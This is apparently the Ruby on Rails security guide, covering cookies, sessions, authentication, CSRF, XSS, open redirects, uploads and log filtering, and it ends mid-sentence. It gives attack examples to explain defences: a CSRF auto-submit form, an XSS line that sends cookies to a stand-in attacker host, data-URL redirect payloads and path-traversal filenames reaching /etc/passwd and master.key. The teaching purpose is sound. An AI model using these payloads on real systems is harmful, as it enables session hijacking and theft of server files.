1. Introduction
Security is a key consideration in all web applications, and Rails provides considerable countermeasures for common attack vectors right out of the box. Even so, security must be evaluated throughout the software development process as vulnerabilities enabling attacks such as account hijacking, bypass of access control to sensitive data, or the presentation of fraudulent content can be inadvertently introduced despite Rails' built-in security features.
This guide will help you understand several attack strategies and the countermeasures to defend against them using the security features provided by Rails.
Always remember that security is a constantly moving target. Ensure you develop strategies catering to the worst-case scenarios. Never assume that an attacker will never be able to compromise a secret, or access a server or database. Assume the worst and develop defensive strategies to avoid losing control of your system.
The security landscape shifts and it is important to keep up to date to avoid missing critical security updates. Subscribe to the Rails Security mailing list to receive updates about known vulnerabilities and fixes. Ruby security updates and details on how to receive notifications of new vulnerabilities can be found on the Ruby website. See the Additional Resources section for further security best practices.
2. Cookies
HTTP is a stateless protocol, meaning each request knows nothing about the preceding request. Cookies provide a mechanism to add state to the HTTP protocol enabling continuity between successive requests. Examples of data stored in cookies are the contents of a user's shopping basket, or a user's preferences.
Rails can create cookies with plain-text, signed, or encrypted
data. The cookies helper is available in Rails controllers
and provides key-value access to cookie data.
2.1. Plain Text Cookies
Data within plain-text cookies can be viewed and modified by users. Use this type of cookie very sparingly and cautiously as they are not secure.
# Create a plain text cookie.
cookies[:welcome_message_shown] = "true"
2.2. Signed Cookies
Signed cookie data can be viewed by users, but is cryptographically signed which means it cannot be tampered with. Use these cookies to store information that is harmless for a user to view, but not modify — for example, a user's preferences.
# Create a signed cookie with a string value.
cookies.signed[:theme] = "dark"
# Create a signed cookie with a hash value.
cookies.signed[:preferences] = {
value: {
theme: "dark"
}
}
This is what a signed cookie's value might look like:
eyJfcmFpbHMiOnsibWVzc2FnZSI6ImV5SjBhR1Z0WlNJNkltUmhjbXNpZlE9PSIsImV4cCI6bnVsbCwicHVyIjoiY29va2llLnByZWZlcmVuY2VzIn19--42055b1af0de2d69e083678793f9fbf25b57a752
It is made up of two parts separated by --. The first part is
the data itself in Base64 encoding. It can be decoded
using Base64.strict_decode64.
The second part is a hash-based message authentication code (HMAC),
commonly referred to as a digest. This is calculated
using a key derived from your application's secret_key_base,
which is used to create a SHA1
digest of the cookie's data.
When Rails decodes the cookie data, it calculates the digest once again and ensures it matches the value in the cookie string. This means that signed cookies cannot be tampered with, as the two digests will not match when the cookie data changes.
The algorithm used to calculate the digest can be changed using:
# config/initializers/cookies.rb
Rails.app.config.action_dispatch.signed_cookie_digest = "SHA256"
The algorithm also takes another input known as a salt. The
default value in this case is "signed cookie", but you can change
it for added security:
# config/initializers/cookies.rb
Rails.app.config.action_dispatch.signed_cookie_salt = "some other salt"
The signing logic is encapsulated by
ActiveSupport::MessageVerifier.
You can use this class to generate securely signed strings for other
use cases within your application. The signing key is generated
using ActiveSupport::KeyGenerator.
2.3. Encrypted Cookies
Encrypted cookies offer another level of security over and above signed cookies. The data is encrypted as well as signed so users cannot view or modify the data without breaking encryption. Use encrypted cookies to store sensitive user data such as a remember token which persists their signed-in state.
# Creating a encrypted cookie with a string value.
cookies.encrypted[:remember_token] = "token"
# Creating a encrypted cookie with a hash value.
cookies.encrypted[:remember] = {
value: {
user_id: "id",
token: "token"
}
}
This is what an encrypted cookie's value looks like:
cH1pDGUPNNqmSXfAGFRA3ixa7MeR9XgSor+d1te+zdKeX/FR0RTK8YuEbK6Al1/d0uids3Yrg5PymBkYLpzmX0A0KaGB8MvbWtKNITe3RhzDPUXPWPzgrOCGRNGhB34rYLDYfQrafx0=--4MtlsRIS9FpejOvt--O7mLRmA/ylvCim91S5jyVA==
It's made up of 3 parts separated by --:
- The encrypted cookie data in Base64 encoding.
- The initialization vector.
- The authentication tag, which is equivalent to the digest in signed cookies.
Cookies are encrypted with
AES
in Galois/Counter Mode
using a 256-bit key (aes-256-gcm). The encryption key is derived
from the application's secret_key_base.
The encryption algorithm can be set to any
valid OpenSSL::Cipher
algorithm:
# config/initializers/cookies.rb
Rails.app.config.action_dispatch.encrypted_cookie_cipher = "aes-256-xts"
The salt used to derive the encryption key is
"authenticated encrypted cookie", but can be changed:
# config/initializers/cookies.rb
Rails.app.config.action_dispatch.authenticated_encrypted_cookie_salt = "some other salt"
The encryption mechanism is provided by
ActiveSupport::MessageEncryptor.
You can use this class to create encrypted strings in
other parts of your application. The encryption key is
generated using ActiveSupport::KeyGenerator.
2.4. Rotating Encrypted and Signed Cookies
Rotation is used to gracefully upgrade the configuration for signed and encrypted cookies without invalidating all existing cookies. Adding a rotation sets up fallback configurations to verify a cookie, and upgrades older cookies to the latest configuration.
If your application's secret_key_base has been compromised,
strongly consider changing it, as it means all strings secured
with ActiveSupport::MessageVerifier and ActiveSupport::MessageEncryptor,
including cookies, may now be vulnerable to attacks.
Run
bin/rails secret to generate a new secret_key_base.
Changing
the secret_key_base means signed and encrypted cookies can no longer
be decoded. Active Storage files will also be affected as Rails
uses signed IDs within file URLs so they can be safely exposed
to the public.
DO NOT use rotation in this case, as rotation
will gracefully upgrade compromised cookies instead of invalidating
them.
Use Rails.app.config.action_dispatch.cookies_rotations after
changing the configuration of your cookies to add a rotation
with the old values.
# config/initializers/cookies.rb
old_signed_cookie_key = # Regenerate old key
old_encrypted_cookie_key = # Regenerate old key
Rails.app.config.after_initialize do
Rails.app.config.action_dispatch.cookies_rotations.tap do |cookies|
cookies.rotate :signed, old_signed_cookie_key
cookies.rotate :encrypted, old_encrypted_cookie_key
end
end
Cookies secured with the old keys will now gracefully be upgraded
to the new key. You can rotate any option passed
to ActiveSupport::MessageVerifier.new
and ActiveSupport::MessageEncryptor.new
Here's an example to rotate the algorithm used to calculate the digest of signed cookies:
# config/initializers/cookies.rb
# Update the configuration setting for the digest
Rails.app.config.action_dispatch.signed_cookie_digest = "SHA256"
# Add a rotation to gracefully upgrade cookies signed with `SHA1`
Rails.app.config.after_initialize do
Rails.app.config.action_dispatch.cookies_rotations.tap do |cookies|
cookies.rotate :signed, digest: "SHA1"
end
end
When you're confident all your active users' cookies have been upgraded, you can remove the rotation.
2.5. Configuring Cookies
Cookies offer a variety of configuration options which are used to secure and expire them. These options can be set when setting cookies in a Rails controller:
cookies["dark_mode"] = {
value: "true",
same_site: :lax,
secure: true,
http_only: true,
expires: 1.year
}
See the API docs for all available usage options.
3. Sessions
A Rails session is a Ruby hash-like object holding data related to a single user's session while interacting with the application. User authentication data is usually held in the session so the user doesn't have to re-enter their credentials for every single request. Rails also stores flash data in the session.
Rails creates a session object when the application is first accessed from a browser. By default, the session data is stored in an encrypted cookie which lives as long as the browser session.
Read more about sessions and how to use them in Action Controller Overview Guide.
3.1. Session Storage
The session is stored in a cookie by default, but alternative stores such as an Active Record store are available. Some issues worth considering when selecting your session store and the data within it are:
- Cookies have a size limit of 4 kB.
- Cookies are stored on the client, which may preserve their contents even after the cookie has expired.
- Cookies are temporary by nature. The server can set expiration time for the cookie, but the client may delete the cookie and its contents before that.
- Session cookies do not invalidate themselves and can be maliciously reused. Ensure you have a mechanism to invalidate a session cookie.
Even when using other stores, an ID which references the data in the session store needs to be stored in a cookie, so many security concepts discussed in this section still apply.
3.2. Session Hijacking
A common pattern for authentication in a web application is to store the user's ID and a token in a cookie after their email address and password has been validated. In Rails, this information would be stored in the session.
The ID and token is validated on each request and securely authenticates the user. However, this means that the session serves as a key to the application, and a malicious user can hijack the session and masquerade as a valid user.
In this section we'll look at some approaches an attacker could use to steal or otherwise take control of a user's session.
3.2.1. Cookie Sniffing
If a user accesses your application over an unencrypted connection, on an insecure network (such as public Wi-Fi), a malicious user may eavesdrop on the traffic and steal the session cookie.
Prevent this attack by ensuring your application is served over HTTPS only by enabling the below config option:
# config/environments/production.rb
config.force_ssl = true
This does 3 things:
- Sets the HSTS header on HTTP responses which tells the client to communicate with the host over HTTPS.
- Sets the
secureflag on session cookies. - Redirects all
http://requests tohttps://.
Additionally, enable the
Secure attribute
on your cookies, so they're only transmitted over HTTPS. You'll need to do this
manually for all cookies except for the Rails session.
When using the HSTS header, the first ever request to website may be over HTTP, before being redirected to HTTPS; which may result in cookies being transmitted in plain text before the secure connection is established, providing an opportunity for cookie sniffing. Marking a cookie as secure prevents this attack vector.
3.2.2. Session Replays
Once a malicious actor has a user's session cookie, they can replay it to the application to masquerade as that user.
Cookie sniffing is just one of many possible methods in which an attack might acquire a valid user's session cookie. Another possible scenario could be when a user hasn't logged out of the application on a public computer, leaving their cookie behind. Some browsers restore the session when they are re-opened so this may give an unauthorized actor access to a valid user's cookie.
No matter how an attacker has acquired a user's cookie, once they have it, it effectively gives them an all-access pass to use the application in the guise of a valid user.
To prevent this attack, always ensure that the data in a session can be invalidated. Depending on the data stored in your session, and the session store you're using, the exact method can vary.
When using a cookie store and storing authentication data in the session, always include a token which can be invalidated from the server. This way, when an attacker tries to replay a session cookie with an outdated token, authentication will fail.
Always consider this attack vector when storing other kinds of data in the session or in cookies. For example, never use a cookie to apply a discount for a user. They can save the cookie and replay it to get that discount in perpetuity.
3.2.3. Session Fixation
When using a session store other than the cookie store, only the session ID is stored in a cookie. This is used to retrieve the data from your chosen store on each request. This ID is stored in plain-text, hence it can be viewed and modified by the user — meaning that an attacker can use it to carry out a session fixation attack whereby they inject a known session id into a valid user's session causing their private session data to be written to the compromised ID.
Here's how such an attack may be carried out:
- The attacker creates a valid session ID by visiting your application's log in page.
- The attacker injects their session ID cookie into a user's browser. This could be done using a variety of techniques such as cross-site scripting (XSS), or if they have access to the victim's machine, they may even make the change in-person.
- The victim visits the application with the compromised session and logs in. Authentication data is written to that ID.
- The attacker can now use the session ID to masquerade as the victim.
Prevent this attack by resetting the session before storing sensitive data, such as authentication information:
class SessionsController < ApplicationController
def create
# create a new session ID
reset_session
# Log the user in ...
end
end
After resetting the session, the attacker's session ID becomes useless. The Rails authentication generator uses this approach.
3.2.4. Expiring and Invalidating Sessions
The longer a session lives, the more chances an attacker has to exploit it. Expiring sessions after period of inactivity, as well as a mechanism to invalidate sessions provides a backstop to reduce the risk of session hijacking attacks.
Depending on your session store, and the implementation of your application, the exact technique to do this will vary.
If you create database records for all active sessions (the Rails authentication generator does this), you could periodically delete session records older than a certain timeframe.
Here's an example Rake task which destroys session records older than 1 year, and it can be invoked at regular intervals using a mechanism such as a cron job.
namespace :authentication do
desc "Deletes sessions older than 1 year. Invoked every week via Cron."
task delete_sessions: :environment do
Session.where(created_at: ..1.year.ago).in_batches.destroy_all
end
end
A session stored in a cookie is immune to a fixation attack, but may be targeted with a replay attack. As such, your application should be able to invalidate session cookies. This could be done by storing a token in the session which is validated against a record in your database on every request — deleting that record would invalidate the session. Depending on your exact security requirements, the strategy will vary, but the key aspect is that session cookies should never be permanent.
4. Identity and Access Management
This section discusses the techniques used to secure user accounts, and potential attack vectors for malicious actors to take over control of a user's account or escalate privileges without authorization.
4.1. Authentication
An authentication system securely identifies the user of a web application. It is the foundation for securing user data and is part of most modern web applications.
Rails has an authentication generator built-in, which provides the base for your authentication system. See the Getting Started guide and the Sign Up and Settings guide for details on how to use the generator.
In this section, we'll focus on the security aspects of authentication.
4.2. Secure Passwords
The User model created by the authentication generator
uses bcrypt to
calculate a secure hash
of the password to store in the database. Storing the password in
plain-text is insecure because an attacker who has gained access to the
database or partial data within it could retrieve the password and
masquerade as a legitimate user.
The hashing process is computationally too expensive to reverse, meaning the original password cannot be recovered from the hash. The hashing algorithm is determininstic and hence will always produce the same output for a given input. When a user attempts to log in, we hash the supplied password and compare it to the hash in the database.
Rails abstracts this process with the
has_secure_password
method. This can be added to Active Record models to automate
the hashing of passwords and generate methods to securely
compare password hashes.
class User < ApplicationRecord
has_secure_password
# ...
end
has_secure_password adds the following validations automatically:
- Password must be present.
- Password length should be less than or equal to 72 bytes.
- Optional confirmation of password (provided in the
password_confirmationattribute).
It doesn't add validations for minimum length or password complexity.
User.create(
email: "user@example.com",
password: "password123$",
password_confirmation: "password123$"
)
4.2.1. Strong Passwords
Requiring a strong password during the sign up process can help mitigate the effectiveness of brute-force or dictionary attacks. The National Institute of Standards and Technology (NIST) has compiled a set of password guidelines — summarized in this article by 1Password — for web application developers to enforce.
Implementing these guidelines offers your users a baseline level of security against these attacks. You can also add an additional layer by verifying whether a user's password has appeared in a known data breach using the free Have I Been Pwned API: https://haveibeenpwned.com/API/v3#PwnedPasswords
4.2.2. Securely Validating Password Hashes
Use authenticate_by to retrieve and authenticate the user
using their password.
class SessionsController < ApplicationController
def create
if user = User.authenticate_by(params.permit(:email_address, :password))
# Authentication successful, log the user in
else
# Authentication failed
end
end
end
This method cryptographically digests the password regardless of
whether a User record is found. This mitigates
timing-based enumeration attacks
which an attacker could use to determine whether or not a User
exists in the system without knowing their password.
The authenticate instance method may also be used to validate
passwords, however this method is vulnerable to timing attacks:
if user = User.find_by(email_address: email_address) &&
user.authenticate(password)
# ...
end
In the above example, the method will run marginally faster if a user
with the supplied email doesn't exist. This can be measured by attackers,
and hence we use authenticate_by for added security.
4.3. Brute-Forcing Attacks
A brute-force attack uses trial-and-error to guess a user's credentials. An attacker may have acquired a list of usernames and passwords through illicit means and use that to attack your application. If any of the usernames and passwords from that list match credentials in your application, the attacker can take control of that account.
A dictionary attack may also be used to guess insecure passwords.
The automated tools which carry out such attacks vary in sophistication, but there are some basic steps you can take to ensure you application is protected. More advanced attacks may required specialist defenses.
4.3.1. Rate-limiting
A basic brute-force attack might be executed using a script running on an attacker's machine. This can be mitigated using Rails' rate limiter:
class SessionsController < ApplicationController
rate_limit to: 10, within: 3.minutes, only: :create
end
The rate_limit method counts requests
from a given remote IP and will raise an
ActionController::TooManyRequests error when the limit is exceeded.
Consult the API docs for complete
usage information.
You can also use a CAPTCHA to restrict access after a certain number of failed login attempts.
Rate-limiting and similar techniques are not a bullet-proof defence against automatic programs, because these programs may frequently change their IP address to subvert such rules. However, it raises the barrier required for an attack.
4.3.2. Generic Error Messages
Error messages displayed during sign up, log in, and password recovery should be generic and not offer information about whether or not an account exists. If an attacker can use the errors generated by your application to deduce whether a given account exists, they may use this technique to compile a list of accounts to use in a brute-force attack.
Password recovery attempts for email address without an associated account should fail silently and always show a generic success message.
The challenge is greater for a sign up page when handling duplicate sign ups. Depending on your application's requirements your approach may vary. You could always redirect a new sign up to a success page asking them to check their email for a confirmation link. In the case of a duplicate sign up, your application could notify the actual user via email of the duplicate sign up attempt.
4.3.3. Two-Factor Authentication
Using a second factor to authenticate a user adds an additional layer of security protecting against brute-force attacks. Even if an attacker has a valid password for a user, a secure second factor in addition to the password will protect the user's account.
Time-based one-time passwords (TOTP) are a secure way to implement two-factor authentication.
Avoid using SMS-based one-time passwords as they are vulnerable to many attacks, including remote SIM swap attacks. A thief may be able to hijack a user's phone number to receive SMS one-time passwords without ever touching their phone.
Rails doesn't currently have built-in support for TOTP and hence implementation details are out of scope for this guide.
4.3.4. Hardware Authenticators
For the highest level of security for your users, you can make use of hardware authenticators as the second factor, or to enable passwordless logins.
A hardware authenticator could be a USB device such as a YubiKey, or an authenticator built into the user's device such as a fingerprint or facial scanner.
The WebAuthn protocol standardizes this approach on the web platform.
4.4. Account Hijacking
After an attacker has gained access to a user's account, they may attempt to lock the user out of their own account. They may have used one or more techniques discussed earlier in this guide to gain this access — such as stealing a user's session cookie. For the purpose of this discussion, the method of attack is not relevant, we assume the attacker has access to an account and the countermeasures we can use in this situation.
4.4.1. Passwords
An attacker may try to change the user's password to lock them out. Always require the old password and validate that before updating a password.
4.4.2. E-Mail
Changing the email address would effectively transfer ownership of the account. Your defence against this might vary depending on your application's account ownership model. One or more of the below steps will help mitigate this attack:
- Require a password when changing the email address.
- Validate the change by sending an email to the existing email address.
- Send a notification to the previous email of the change, with instructions for recovery.
4.4.3. Reset Session
Finally, always ensure there is a way to lock an attacker out of an account after they've gained access. Invalidating the data in the attacker's session cookie will prevent them from using it again.
The exact method will depend on the specifics of your authentication system. The best way to validate whether your defence works is to test the attack in a controlled scenario and then apply your countermeasures.
4.5. Privilege Escalation
Whenever a user requests a resource, always ensure they are authorized to access it. Consider the below controller and actions:
class ProjectsController < ApplicationController
# GET /projects
def index
@projects = Current.user.projects
end
# GET /projects/:id
def show
@project = Project.find(params[:id])
end
end
The projects index may only direct the user to projects they have
access to, but there's nothing preventing them from manually
changing the id in the URL to view a project they shouldn't be
allowed to access. In this case, you could fix it by amending
the query to load a project:
def show
@project = Current.user.projects.find(params[:id])
end
More complex web applications will require a more elaborate authorization layer with fine-grained access control. The key consideration is that access to all resources should be controlled and handled on the server. Never use JavaScript or front-end code for access control without server validation as all user input and front-end code can be manipulated.
5. Cross-Site Request Forgery (CSRF)
To carry out a cross-site request forgery (CSRF) attack, a malicious actor will lure a victim to an infected web page, potentially a website that they control. That web page contains code which makes requests to a different web application where the victim has an active authenticated session, and hence can theoretically carry out destructive operations disguised as a valid user.
Here's an example scenario:
- Bob uses a project management application hosted at
https://projectmanagement-webapp.example.com, and is currently signed in. - An attacker would like to compromise a project which Bob is working on, and sends him a phishing email with a link to a malicious website.
- Bob inadvertently clicks the link.
The malicious web page contains a form to delete the project, and a script to submit it when the page loads:
<form action="https://projectmanagement-webapp.example.com/projects/1" method="POST" id="delete-project"> <input type="hidden" name="_method" value="delete"> </form> <script> document.addEventListener("DOMContentLoaded", () => { document.getElementById("delete-project").requestSubmit() }) </script>The cookies will be sent along with the request. Since Bob is signed in, the project will be deleted.
Both Rails, and the web platform itself have defences against this kind of attack built-in. The next sections discuss some of these measures as well as additional steps you can take within your application to prevent CSRF vulnerabilities.
5.1. SameSite Cookies
The SameSite attribute
can be defined in the Set-Cookie HTTP header to specify the contexts
in which the cookie should be transmitted. Rails session cookies are
set as SameSite=Lax, which is also the default value across browsers.
This means the cookie will only be sent with the HTTP request if it originates on the same site, or the user follows a link to your site.
Demonstrated practically, the session cookie will only be sent with HTTP requests in the following scenarios:
(we're assuming your Rails app is hosted at https://myrailsapp.example.com)
- A user types in
https://myrailsapp.example.comin their browser's address bar. - A user clicks a link on a page hosted at
https://myrailsapp.example.com. - A user follows a link to
https://myrailsapp.example.comfrom another external website.
The cookie will not be transmitted when a request originates on an
external website. For example, if an attacker tries to submit a
form <form>, or make a fetch request to https://myrailsapp.example.com
from their own website, the session cookie will not be sent along
with the request.
This prevents an attacker from taking advantage of a user's active session in a web app to make unauthorised malicious requests when a victim inadvertently visits their infected website.
Further information on the SameSite attribute is
available here.
Set the SameSite attribute on a cookie in a Rails controller using:
cookies["dark_mode"] = {
value: "true",
same_site: :lax
}
5.2. Rails' Authenticity Token
Rails offers application-level protection against CSRF attacks by
verifying a CSRF token on all requests except GET, QUERY, and HEAD.
A CSRF token is securely generated and stored the session. This
token is used to generate an authenticity_token on each request.
The token is automatically inserted into forms via a hidden input.
<input type="hidden" name="authenticity_token" value="Lb7wNkn7Ozyq9yc98VQuATDEvoPU3WBT8zzRIw8mBHZIUhANkM2DBJmdNCUtbNTaMrVzBrNttqFigrVFyEic6o" autocomplete="off">
Rails, by default, also renders <meta> tags containing the token in the
document's head for use in JavaScript requests.
<%# The default `app/views/layouts/application.html.erb` %>
<%# generated in a new Rails app %>
<!DOCTYPE html>
<html>
<head>
<%# ... %>
<%= csrf_meta_tags %>
<%# ... %>
</head>
<%# ... %>
</html>
csrf_meta_tags generates the following tags:
<meta name="csrf-param" content="authenticity_token" />
<meta name="csrf-token" content="..." />
csrf-param documents the name of the hidden input for JavaScript
code which dynamically creates FormData, and csrf-token contains
the token itself which can be sent in a X-CSRF-Token HTTP header to
validate the request.
The Turbo and
request.js JavaScript libraries
both use the value of csrf-param to read a cookie with that name which
is expected to contain the CSRF token. They fallback to the value of the
csrf-token meta tag if no such cookie exists. They add the token to the
request using the X-CSRF-Token HTTP header. This is an additional valid
use case for the csrf-param meta tag.
Rails compares this token with the one in the session to ensure the request is valid.
Along with the SameSite cookie attribute, this defends agains
CSRF attacks because an attacker won't have access to the session
or CSRF token to authenticate their malicious requests.
Rails masks the authenticity token when injecting it into the
page, ensuring it's different for each request even though the
underlying CSRF token remains the same. See the
mask_token
and unmask_token methods for
deeper insight into how this works.
This defence is enabled by default, but can be disabled using:
# config/initializers/forgery_protection.rb
Rails.app.config.action_controller.default_protect_from_forgery = false
The behavior of this defence can be configured using:
# config/initializers/forgery_protection.rb
# Raise an exception when token verification fails
Rails.app.config.action_controller.default_protect_from_forgery_with :exception
The behavior can be changed for specific controllers
using protect_from_forgery:
class ApplicationController < ActionController::Base
# Reset the session when token verification fails
protect_from_forgery with: :reset_session
# or
# Return an empty session when token verification fails
protect_from_forgery with: :null_session
end
The default behavior is :exception.
:exception halts code execution and follows the code path for error handling,
whereas :reset_session and :null_session will still run the controller action.
Further information on all available options is available in the API docs.
5.2.1. Appropriate Use of HTTP methods
Rails doesn't verify the authenticity token for GET, HEAD,
and QUERY requests because they should never modify business
data. These HTTP methods requests should only be used for reads,
not writes.
A list of all HTTP methods and how they should be used can be viewed on the MDN docs.
To benefit from Rails' CSRF protections, never use the GET, HEAD,
or QUERY verbs for endpoints which modify data in your application .
6. Cross-Site Scripting (XSS)
A cross-site scripting (XSS) vulnerability allows attackers to inject malicious client-side scripts into a web page. An attacker can misuse any kind of user input in a web application to attempt an XSS attack. Without proper sanitization, inputs such as comments, message posts, search boxes etc. can all serve as entry points to XSS attacks.
OWASP considers the term cross-site scripting to be a misnomer. It initially was used for stealing data cross-site, but gradually started to include other forms of data injection attacks.
Here's an example XSS attack scenario:
- An attacker visits a public message board and creates a post
including hidden malicious JavaScript code such as
<script>alert('Hello');</script>. - The web application doesn't sanitize the contents of the post and saves it.
- The application renders the raw contents of the post as shown below, meaning that the malicious JavaScript executes when a victim views the page.
<%= raw post.body %>
The malicious code may steal cookies, hijack the session, redirect the victim to a phishing website, display advertisements for the benefit of the attacker, change elements on the website to get confidential information, or install malicious software through vulnerabilities in the web browser. The scope of misuse is endless.
6.1. Sanitizing User Input
The most common entry point for an XSS attack is injecting HTML, CSS, or JavaScript into a web page. Prevent this by sanitizing all user input to ensure it's safe.
Rails uses the rails-html-sanitizer
gem to parse and sanitize HTML and CSS input — only allowing a set of
safe tags. The ActionView::Helpers::SanitizeHelper
provides a number of methods which invoke rails-html-sanitizer
under the hood to simplify sanitization in your HTML template.
You can safely render user input in an HTML template using:
<%= sanitize @comment.body %>
This will strip any unsafe tags to prevent XSS attacks. Other helpers
available are: sanitize_css, strip_links, and strip_tags.
See the API docs
for complete usage information.
Action Text automatically uses a sanitizer on both content and attachments.
6.2. Escaping Output
As an alternative to sanitizing user input, strings can be escaped
before being rendered to HTML to prevent XSS code execution.
Escaping a string replaces HTML characters like < and > with
their uninterpreted representations: <, > etc. Rails does
this by default, but you can use the html_escape method to be explicit
about it:
<%= html_escape @snippet.contents %>
<%# or %>
<%= h @snippet.contents %>
<%# or %>
<%= @snippet.contents # Rails escapes by default %>
This technique can be useful when you need to safely render HTML as-is in the page, rather than execute it.
6.2.1. Escaping JavaScript
Legacy applications may return JavaScript responses which are executed by the Rails UJS library.
When using such responses, escape carriage returns and double quotes using
escape_javascript. This prevents quote and return characters
within rendered templates from breaking the JavaScript string or inserting malicious
code within in:
document.querySelector("#posts_count").innerHTML = '<%= escape_javascript render 'posts/count' %>'
escape_javascript is aliased as j:
document.querySelector("#posts_count").innerHTML = '<%= j render 'posts/count' %>'
6.3. Cookie Theft
An XSS attack could target a user's cookies. Cookies can only be read from the same domain, so an attacker cannot lure a victim to their website to read cookies from a completely different domain. Since an XSS attack relies on injecting code into another site, it could be used to steal a user's cookies.
The below injection makes a request to the attacker's website with all of a user's cookies. They can then inspect their logs to retrieve the cookie and use it to perform a variety to attacks to take control of the user's account.
<script>document.write('<img src="https://steal-a-cookie.example.com/' + document.cookie + '">');</script>
Use the HttpOnly attribute
on the Set-Cookie header to prevent a cookie from being accessed
using JavaScript. Such cookies will only be sent with HTTP requests
(including fetch and AJAX), but cannot be read using document.cookie.
Rails session cookies are HttpOnly by default. Create an HttpOnly
cookie in a Rails controller using:
cookies["dark_mode"] = {
value: "true",
http_only: true
}
6.4. Content Security Policy
A Content-Security-Policy HTTP response header can be defined to explicitly
allowlist the sources for JavaScript and other external content.
This mitigates XSS attacks as the browser will only execute code from verified sources. See the Content Security Policy section for further details.
7. Open Redirects
Redirecting users can be a vulnerability when user input is injected into the destination URL. Rails prevents these attacks by only allowing redirects to paths on the same domain.
For example, consider the below action which redirects a user to another path supplied in a URL parameter:
# GET /comments
def show
if params[:comment_path]
redirect_to params[:comment_path]
end
end
The legitimate use case for the above action is to send the user to a specific comment:
/comments?comment_path=/comment/42
An attacker can misuse the parameter to inject their own malicious page to which the user will be redirected.
/comments?comment_path=https://malicious.example.com
Even worse, the attacker could redirect to a data URL which will directly display its contents in the browser. The below example shows a redirect to a Base64 encoded script which displays an alert:
/comments?comment_path=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K
The browser will execute the script and display an alert to the user. This example is harmless but this technique could be used to display a phishing page, download a file onto the user's machine, or any number of other malicious actions.
You may choose to use the HTTP Referer header to redirect the user
back to where they came from:
redirect_to request.headers[:referer]
This technique is also vulnerable to an open redirect attack because
the Referer header can be spoofed since HTTP is a plain-text
protocol.
Rails will raise an exception when redirecting to a data URL or an external URL, which mitigates against all the above attacks.
7.1. Disabling Redirect Protection
External redirects to other domains or data URLs can be explicitly enabled
using the allow_other_host option:
redirect_to "https://some-other.site", allow_other_host: true
Use allow_other_host cautiously, and avoid injecting user
input into the destination URL when using this technique. If
you must include user input, sanitize it to ensure it's an
expected value. Enabling allow_other_host will create an
open redirect vulnerability without the proper care.
8. User Uploaded Files
File uploads can offer attackers a way into your server with the ability to manipulate files and perform other destructive operations. Rails includes Active Storage which manages file uploads and will protect you from the attacks described in this section. However, these techniques are worth bearing in mind as you build file uploads into your application.
8.1. File Names
An attacker can craft a filename which includes a relative path
to overwrite an important file on your server. If your application
stores uploaded files at /var/www/uploads, the attacker might
try to upload a file with the name ../../../my-app/config/master.key
to overwrite a file in a completely different location.
A filename, as with all other kinds of user input should be sanitized before use.
Active Storage has a filename sanitizer which it applies to all uploaded files to prevent such attacks.
8.2. Executable Code in File Uploads
Rails applications are typically served through a reverse proxy
powered by a web server such as Nginx or Caddy. The Rails
/public folder is often exposed directly through this server
to serve your application's assets efficiently reducing the load
on your Rails application.
Depending on the server's configuration, an attacker may execute code if a file with a matching extension is requested from a publicly available directory tree. For example, PHP and CGI files contain code and might be executed when requested.
If you application stores file uploads in a publicly available
directory, an attacker could upload a malicious file called
virus.cgi, and when it's requested, your web server will execute
it instead of returning it to the client.
To prevent these attacks, never store uploaded files in a publicly available folder and ensure your server is configured to prevent arbitrary code execution.
Always sanitize the name and type of uploaded files. Active Storage handles this automatically.
8.3. File Downloads
Unsanitized user input to create file downloads can allow a malicious
user to access secure files from your server. The
send_file
method can be user to trigger file downloads. The below snippet
shows an example of a download with unsanitized input:
send_file("/var/www/uploads/" + params[:filename])
An attacker could pass a value like ../../../etc/passwd to
the filename param to download the server's login information.
Sanitizing the file name supplied by the user is the simplest
way to prevent this attack.
A more robust solution is to store the user facing file names in the database and renaming uploaded files to a random string or ID which is also tracked in the database.
Active Storage uses this approach to prevent such attacks.
8.4. Media Processing of File Uploads
Active Storage uses the ffmpeg utility to generate video previews,
and ffprobe to extract video and audio metadata. Neither tool is
shipped by Rails and are external binaries installed on the Rails
server.
A stock build of these tools includes several hundred decoders and demuxers but a Rails application likely only uses a handful of these. Blobs are analyzed on upload by default, so these tools may automatically read malicious bytes uploaded by an attacker.
Both ffmpeg and ffprobe decode untrusted media in memory-unsafe
code. Narrow the attack surface by restricting the codecs and
formats they will accept.
For example, an application that accepts only H.264 video with AAC audio would configure:
# config/production.rb
config.active_storage.video_preview_input_arguments = "-codec_whitelist h264,aac"
config.active_storage.ffprobe_arguments = "-codec_whitelist h264,aac"
Alongside -codec_whitelist, -f forces a single demuxer
and -protocol_whitelist restricts the protocols an input may
reference.
Every codec present in supported files must appear in the list,
including audio codecs. ffprobe exits with an error on a file that
uses any other codec, and analysis of that file then raises
JSON::ParserError. Codec names vary between ffmpeg builds, so
check the list against ffmpeg -decoders for the build you deploy.
9. Log Filtering
Rails logs all requests by default, and these may contain sensitive
data such as login credentials, authentication tokens, or credit
card numbers. If an attacker were to get access to these logs,
they'd have all this user data in plain text. Rails has a
filter_parameters
configuration option which is used to mask sensitive information:
# config/initializers/filter_parameter_logging.rb
# Be sure to restart your server when you modify this file.
# Configure parameters to be partially matched (e.g. passw matches password) and filtered from the log file.
# Use this to limit dissemination of sensitive information.
# See the ActiveSupport::ParameterFilter documentation for supported notations and behaviors.
Rails.app.config.filter_parameters += [
:passw, :email, :secret, :token, :_key, :crypt, :salt, :certificate, :otp, :ssn, :cvv, :cvc
]
Matching parameters will be excluded from the logs and replaced
with [FILTERED]. They will also be hidden when called inspect
on an Active Record object so sensitive data is protected when
sending traces to monitoring tools:
User.last.inspect
# => #<User id: 247, email: [FILTERED] ...>
If your application generates URLs containing sensitive information when
redirecting the user, you can omit the sensitive information from the
logs using filter_redirect:
# config/initializers/filter_parameter_logging.rb
Rails.app.config.filter_redirect += [
"s3.amazonaws.com", /token/
]
The redirect filter tests whether URLs include strings or match regular expressions
defined in the above array. Matched URLs will be replaced in the logs with [FILTERED].
10. Injection
Injection is a class of attacks where an attacker crafts a malicious input with the intent of injecting it into application code to steal, manipulate, destroy, or otherwise cause damage to user data.
10.1. Allowlists and Denylists
Allowlists and denylists can be used to sanitize user input to ensure they don't contain anything malicious. Always prefer allowlists as this defines a narrow set of permitted inputs. A denylist would have to cover every possible input except what's expected which is not usually feasible to maintain.
An example of using an allowlist is to maintain a list of tags
allowed in user input such as <strong>, <p>, rather than a
list of disallowed tags:
config.action_view.sanitized_allowed_tags = %w(strong p)
Rails includes an array of default safe tags within
ActionView::Base.sanitized_allowed_tags. The above example will
